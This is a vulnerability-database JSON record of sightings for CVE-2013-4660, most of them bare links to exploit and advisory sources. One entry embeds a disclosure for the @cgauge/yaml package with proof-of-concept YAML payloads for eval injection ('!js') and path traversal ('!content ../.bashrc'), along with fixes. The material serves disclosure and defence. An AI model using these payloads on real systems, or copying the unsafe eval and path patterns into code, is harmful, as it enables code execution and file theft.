{"vulnerability": "cve-2013-4660", "sightings": [{"uuid": "9088ff8a-0556-4c08-bcab-32680c46f88a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-4660", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:41.000000Z"}, {"uuid": "8ae323b1-1e08-452d-b32b-9bda64b6465d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-4660", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:20.000000Z"}, {"uuid": "c5c0c8b7-4f67-4605-b580-26ce51e5e2e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-4660", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "aec4aa34-da64-48f2-8afb-43b03fcc791d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-4660", "type": "seen", "source": "https://gist.github.com/openclawqqq-lang/c6c4faedffd37d2115f8160f6f5da820", "content": "", "creation_timestamp": "2026-02-11T13:08:49.000000Z"}, {"uuid": "afb0f2c5-b421-4550-86b0-eed7aa055493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2013-4660", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/28655", "content": "", "creation_timestamp": "2013-09-30T00:00:00.000000Z"}, {"uuid": "288e3e10-9e8e-406a-9108-925648a22f9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2013-4660", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-xxvw-45rp-3mj2", "content": "", "creation_timestamp": "2017-10-24T18:33:37.000000Z"}, {"uuid": "b4338507-bda7-46b6-b69b-81bef0129df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-4660", "type": "seen", "source": "https://gist.github.com/arjunjaincs/35da3a80b4b16f324f194acec18489ba", "content": "# Security Disclosure: Eval Injection + Path Traversal in @cgauge/yaml\n\n## Package: @cgauge/yaml\n## npm: https://www.npmjs.com/package/@cgauge/yaml\n## Source: https://github.com/cgauge/packages\n## Date: 2026-07-03\n## Reporter: Arjun Jain\n## MITRE CAN: (pending)\n\n---\n\n## Summary\n\n@cgauge/yaml contains two independent security vulnerabilities:\n\n1. Eval Injection (CWE-95) \u2014 arbitrary JavaScript execution via !js YAML tag, enabled by default in every schema with no opt-in, no safe mode, and no documentation warning.\n2. Path Traversal (CWE-22) \u2014 arbitrary file read via !content and !include YAML tags using unsanitized path concatenation.\n\nCVSS 4.0 Score: 9.3 CRITICAL\nVector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n\n---\n\n## Vulnerability 1 \u2014 Eval Injection (CWE-95)\n\nRoot cause in dist/parser.js:\n\n```js\nconst jsType = new Type('!js', {\n    kind: 'scalar',\n    resolve: (data) => typeof data === 'string',\n    construct: (data) => eval(data),\n});\n```\n\nThis type is registered in every schema the library builds. schema() always includes jsType.\nThere is no safeLoad() equivalent, no opt-out flag, and no documentation warning.\nThe README is two lines with no security notice.\n\nAny YAML document containing a !js tag will have that value eval()'d as JavaScript\nduring parsing \u2014 unconditionally, with no configuration required.\n\n### Proof of Concept\n\nSetup:\n\n```bash\nmkdir cgauge-test && cd cgauge-test\nnpm init -y\nnpm install @cgauge/yaml\n```\n\ntest.mjs:\n\n```js\nimport { load } from '@cgauge/yaml';\nimport { writeFileSync } from 'fs';\n\n// Test 1: arithmetic \u2014 proves eval() is running\nwriteFileSync('test1.yaml', 'result: !js \"1+1\"\\n');\nconst r1 = load('./test1.yaml');\nconsole.log('Test 1:', r1);\n// Output: { result: 2 }   <-- evaluated, not a string\n\n// Test 2: env var \u2014 proves arbitrary JS in Node.js context\nwriteFileSync('test2.yaml', 'result: !js \"process.env.USER\"\\n');\nconst r2 = load('./test2.yaml');\nconsole.log('Test 2:', r2);\n// Output: { result: 'fankot' }  <-- live OS username returned\n```\n\nRun: node test.mjs\n\nActual output:\n\n```\nTest 1 (eval arithmetic): { result: 2 }\nTest 2 (RCE via env var): { result: 'fankot' }\n```\n\nThe integer 2 (not string '1+1') and the live username confirm eval() executed.\n\n---\n\n## Vulnerability 2 \u2014 Path Traversal (CWE-22)\n\nRoot cause in dist/parser.js:\n\n```js\nconstruct: (data) => readFileSync(basePath + '/' + data).toString(),\n```\n\nbasePath defaults to '.' (current directory). The data value comes directly from the\nYAML document with no path.resolve(), no ../ stripping, and no validation.\n\n### Proof of Concept\n\nproof.mjs:\n\n```js\nimport { load } from '@cgauge/yaml';\nimport { writeFileSync } from 'fs';\n\n// Read real file outside working directory\nwriteFileSync('traversal.yaml', 'result: !content \"../.bashrc\"\\n');\nconst r = load('./traversal.yaml');\nconsole.log('Path traversal:', r.result.slice(0, 100));\n```\n\nActual output:\n\n```\nRead ~/.bashrc via path traversal:\n # ~/.bashrc: executed by bash(1) for non-login shells.\n# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)\n```\n\nReal ~/.bashrc content returned from outside the working directory.\n\n---\n\n## Why This Is Not a Known/Duplicate Finding\n\n- The !js/eval feature is @cgauge/yaml's own implementation, not inherited from js-yaml\n- js-yaml's historical CVEs (CVE-2013-4660 etc.) cover js-yaml itself, not @cgauge/yaml\n- @cgauge/yaml has no existing CVEs in any database\n- The library adds eval() on top of js-yaml with no safe/unsafe mode distinction\n\n---\n\n## Recommended Fix\n\nBug 1: Remove the !js type registration, or gate it behind an explicit opt-in flag:\n\n```js\n// Instead of always including jsType in schema():\nconst schema = (opts = {}) => {\n    const types = [...baseTypes];\n    if (opts.allowJs) types.push(jsType);  // opt-in only\n    return new Schema({ include: types });\n};\n```\n\nBug 2: Sanitize the path before passing to readFileSync:\n\n```js\nconst safePath = path.resolve(basePath, data);\nif (!safePath.startsWith(path.resolve(basePath))) {\n    throw new Error('Path traversal detected');\n}\nconstruct: (data) => readFileSync(safePath).toString()\n```\n\n---\n\n## Environment\n\n- Package: @cgauge/yaml (latest as of 2026-07-03)\n- Node.js: v24.16.0\n- OS: Kali Linux (VM)\n- Test environment: local, no network target\n", "creation_timestamp": "2026-07-03T12:06:14.186056Z"}]}